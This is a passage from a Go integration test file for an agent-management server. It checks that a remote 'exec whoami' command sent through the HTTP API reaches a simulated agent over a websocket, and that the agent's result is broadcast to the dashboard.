[]byte(`{"action":"pause"}`))
if rec.Code != http.StatusOK {
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
}
}
// TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path
// through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives
// command → simulated agent sends command_result → dashboard WS receives broadcast.
func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) {
router, wsHub, _, _ := newTestRouter(t)
agentID := "router-roundtrip-agent"
const testAction = "exec"
const testCommand = "whoami"
const resultMessage = "integration round-trip ok"
agentConn, srv := connectAgentViaRouter(t, router, agentID)
deadline := time.Now().Add(2 * time.Second)
for time.Now().Before(deadline) {
if wsHub.isAgentConnected(agentID) {
break
}
time.Sleep(10 * time.Millisecond)
}
if !wsHub.isAgentConnected(agentID) {
t.Fatal("agent not connected via router ws")
}
dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard ws: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type msgResult struct {
body map[string]interface{}
err string
}
cmdResultCh := make(chan msgResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
cmdResultCh <- msgResult{err: err.Error()}
return
}
if msg.Type != "command_result" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()}
return
}
cmdResultCh <- msgResult{body: body}
return
}
}()
type agentCmdResult struct {
cmd Message
err string
}
agentCmdCh := make(chan agentCmdResult, 1)
go func() {
_ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second))
var cmd Message
if err := agentConn.ReadJSON(&cmd); err != nil {
agentCmdCh <- agentCmdResult{err: err.Error()}
return
}
agentCmdCh <- agentCmdResult{cmd: cmd}
cmdPayload, _ := json.Marshal(map[string]interface{}{
"action": testAction,
"success": true,
"message": resultMessage,
})
if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil {
agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()}
}
}()
cmdBody, _ := json.Marshal(map[string]string{
"action": testAction,
"command": testCommand,
})
rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody)
if rec.Code != http.StatusOK {
t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String())
}
var httpBody map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &httpBody); err != nil {
t.Fatal(err)
}
if httpBody["success"] != true {
t.Fatalf("expected success=true, got %v", httpBody)
}
if httpBody["action"] != testAction {
t.Fatalf("http action: got %v, want %s", httpBody["action"], testAction)
}
select {
case r := <-agentCmdCh:
if r.err != "" {
t.Fatalf("agent did not receive command: %s", r.err)
}
if r.cmd.Type != "command" {
t.Fatalf("agent expected command, got %q", r.cmd.Type)
}
var payload map[string]interface{}
if err := json.Unmarshal(r.cmd.Payload, &payload); err != nil {
t.Fatal(err)
}
if payload["action"] != testAction {
t.Errorf("agent command action: got %v, want %s", payload["action"], testAction)
}
if payload["command"] != testCommand {
t.Errorf("agent command: got %v, want %s", payload["command"], testCommand)
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for agent command")
}
select {
case r := <-cmdResultCh:
if r.err != "" {
t.Fatalf("dashboard did not receive command_result: %s", r.err)
}
if r.body["agent_id"] != agentID {
t.Errorf("dashboard agent_id: got %v, want %s", r.body["agent_id"], agentID)
}
if r.body["action"] != testAction {
t.Errorf("dashboard action: got %v, want %s", r.body["action"], testAction)
}
if r.body["message"] != resultMessage {
t.Errorf("dashboard message: got %v, want %q", r.body["message"], resultMessage)
}
if r.body["success"] != true {
t.Errorf("dashboard success: got %v, want true", r.body["success"])
}
case <-time.After(5 * time.Second):
t.Fatal("timed out waiting for command_result broadcast")
}
}